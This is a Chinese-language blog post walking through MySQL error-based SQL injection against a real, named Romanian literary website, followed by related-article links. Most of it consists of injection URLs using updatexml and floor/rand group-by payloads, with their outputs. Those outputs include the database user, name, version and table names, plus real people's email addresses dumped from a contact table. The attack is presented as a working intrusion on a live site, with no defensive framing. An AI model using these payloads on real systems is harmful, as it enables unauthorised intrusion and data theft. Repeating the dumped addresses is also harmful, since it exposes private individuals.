0x1 判断注入点:

http://www.xxxx.ro/s.php?id=1'

那么尝试闭合下单引号

http://www.xxxx.ro/s.php?id=1' --+

0x2 枚举下表的列

http://www.xxxx.ro/s.php?id=1' order by 4 --+

http://www.xxxx.ro/s.php?id=1' order by 3 --+

可以判断为3列

0x3 使用updatexml() 获取数据库的相关信息

http://www.xxxx.ro/s.php?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1) --+

romanian_rowri@localhost

http://www.xxxx.ro/s.php?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

romanian_svc

http://www.xxxx.ro/s.php?id=1' and updatexml(1,concat(0x7e,(select version()),0x7e),1) --+

5.5.46-0ubuntu0.14.04.2

获取数据库名也可以通过以下方式:

http://www.xxxx.ro/s.php?id=1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata  limit 1,1),0x7e),1) --+

0x4 获取库的表名

http://www.romanianwriters.ro/s.php?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='romanian_svc'  limit 0,1),0x7e),1) --+

ra_autori

ra_carti

ra_carti_autori

ra_carti_critics

ra_carti_pdf

ra_contact

未发现相关后台的表,最后通过SQLmap确认确实没啥大的用处。

0x5 获取标的字段

ra_contact

http://www.xxxx.ro/s.php?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='ra_contact'  limit 0,1),0x7e),1) --+

id,nume,functie,email,poza

0x6 获取字段数据

http://www.xxxx.ro/s.php?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x23,id,0x3a,email,0x23) from ra_contact  limit 0,1),0x7e),1) --+

1:catalina.staicu@polirom.ro

4:lucian.teodorovici@polirom.ro

另外一种方式:

http://www.xxxx.ro/s.php?id=1' and '1'='1 #闭合

http://www.xxxx.ro/s.php?id=1' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

获取当前数据库:

http://www.romanianwriters.ro/s.php?id=1' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

romanian_svc

获取当前数据库权限:

http://www.xxxx.ro/s.php?id=1' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

romanian_rowri@localhost

获取库对应的表

http://www.xxxx.ro/s.php?id=1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

获取表的数据

http://www.xxxx.ro/s.php?id=1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,id,0x3a,email,0x23) FROM romanian_svc.ra_contact limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

完结!

MySQL基于报错注入1的更多相关文章

  1. MySQL基于报错注入2

    目标站点: 0x1 注入点判断 http://www.xxxxxx.com/pages/services.php?id=1 #true http://www.xxxxxx.com/pages/serv ...

  2. mysql基于“报错”的注入

    报错是如何转为xss的? mysql语句在页面报错,泄露信息 ===================================================================== ...

  3. MYSQL updatexml报错注入

    首先了解下updatexml()函数 UPDATEXML (XML_document, XPath_string, new_value); 第一个参数:XML_document是String格式,为X ...

  4. 【菜鸟学注入】之MySQL报错注入详解

    本文转自:http://bbs.blackbap.org/forum.php?mod=viewthread&tid=6483&highlight=mysql%2B报错注入 用SQL注入 ...

  5. SQL注入之Mysql报错注入

    --志向和热爱是伟大行为的双翼. 昨天偷懒了没学什么东西,先自我反省一下 - -. 今天认真的学习了一下Mysql报错注入利用方法及原理,好久之前就像认真的学一下这个了,是在上海市大学生网络安全大赛中 ...

  6. Mysql报错注入原理分析(count()、rand()、group by)

    Mysql报错注入原理分析(count().rand().group by) 0x00 疑问 一直在用mysql数据库报错注入方法,但为何会报错? 百度谷歌知乎了一番,发现大家都是把官网的结论发一下截 ...

  7. Sqli labs系列-less-5&6 报错注入法(上)

    在我一系列常规的测试后发现,第五关和第六关,是属于报错注入的关卡,两关的区别是一个是单引号一个是双引号...当然我是看了源码的.... 基于报错注入的方法,我早就忘的差不多了,,,我记的我最后一次基于 ...

  8. sql盲注之报错注入(附自动化脚本)

    作者:__LSA__ 0x00 概述 渗透的时候总会首先测试注入,sql注入可以说是web漏洞界的Boss了,稳居owasp第一位,普通的直接回显数据的注入现在几乎绝迹了,绝大多数都是盲注了,此文是盲 ...

  9. 又一种Mysql报错注入

    from:https://rdot.org/forum/showthread.php?t=3167 原文是俄文,所以只能大概的翻译一下 这个报错注入主要基于Mysql的数据类型溢出(不适用于老版本的M ...

随机推荐

  1. java 实现文件下载中文名不显示

    需要将指定字符串的编码转换成浏览器里面的ISO-8859-1编码 String name = new String(name.getBtes("utf-8"),"ISO- ...

  2. css3动画如何解决动画的播放、暂停和重新开始

    0921自我总结 css3如何解决动画的播放.暂停和重新开始 一.解决的本质思路 播放的解决思路 先定义好动画效果通过类名的增加达到样式的出现 暂停的解决思路 我们播放动画时,如要暂停动画,就要用到a ...

  3. 如何在父级下访问v-slot的值——vuejs

    关于作用域插槽v-slot的用法可以先看看文档 https://cn.vuejs.org/v2/guide/components-slots.html#%E4%BD%9C%E7%94%A8%E5%9F ...

  4. 简单学习HTML

    最近突然就对静态页面很有兴趣,主要是看到几个比较酷炫的页面效果,也想自己做一下,但是我的前端页面就是菜鸡,还停留在html+css+jquery的简单使用上,而且还忘记得差不多了! 而且我感觉前端比后 ...

  5. RCA:收单设备调用云端接口频繁超时排查总结

    研发中心/王鹏 2019年7月 关键词:OKHTTP,安卓,连接复用,开源软件BUG 一.背景知识: OKHTTP已是安卓项目中被广泛使用的网络请求开源库,它有如下特性: 1.支持HTTP/2,允许所 ...

  6. HTML5应用 转 Android、Windows Phone 应用

    一.HTML5 转 Android 目标SDK:API 20 1.新建一个 Blank Activity 的应用 2.在 AndroidManifest.xml 文件中添加联网权限 <uses- ...

  7. githup常用备份

    https://github.com/ https://github.com/doumeki/ThrExcel https://github.com/xinxi1990/MyMonkey https: ...

  8. Druid-代码段-1-5

    所属文章:池化技术(一)Druid是如何管理数据库连接的? 本代码段对应流程1.4,抛弃连接: //丢弃连接 public void discardConnection(Connection real ...

  9. [C5W2] Sequence Models - Natural Language Processing and Word Embeddings

    第二周 自然语言处理与词嵌入(Natural Language Processing and Word Embeddings) 词汇表征(Word Representation) 上周我们学习了 RN ...

  10. Codeforces Round #602 (Div. 2, based on Technocup 2020 Elimination Round 3) E. Arson In Berland Forest 二分 前缀和

    E. Arson In Berland Forest The Berland Forest can be represented as an infinite cell plane. Every ce ...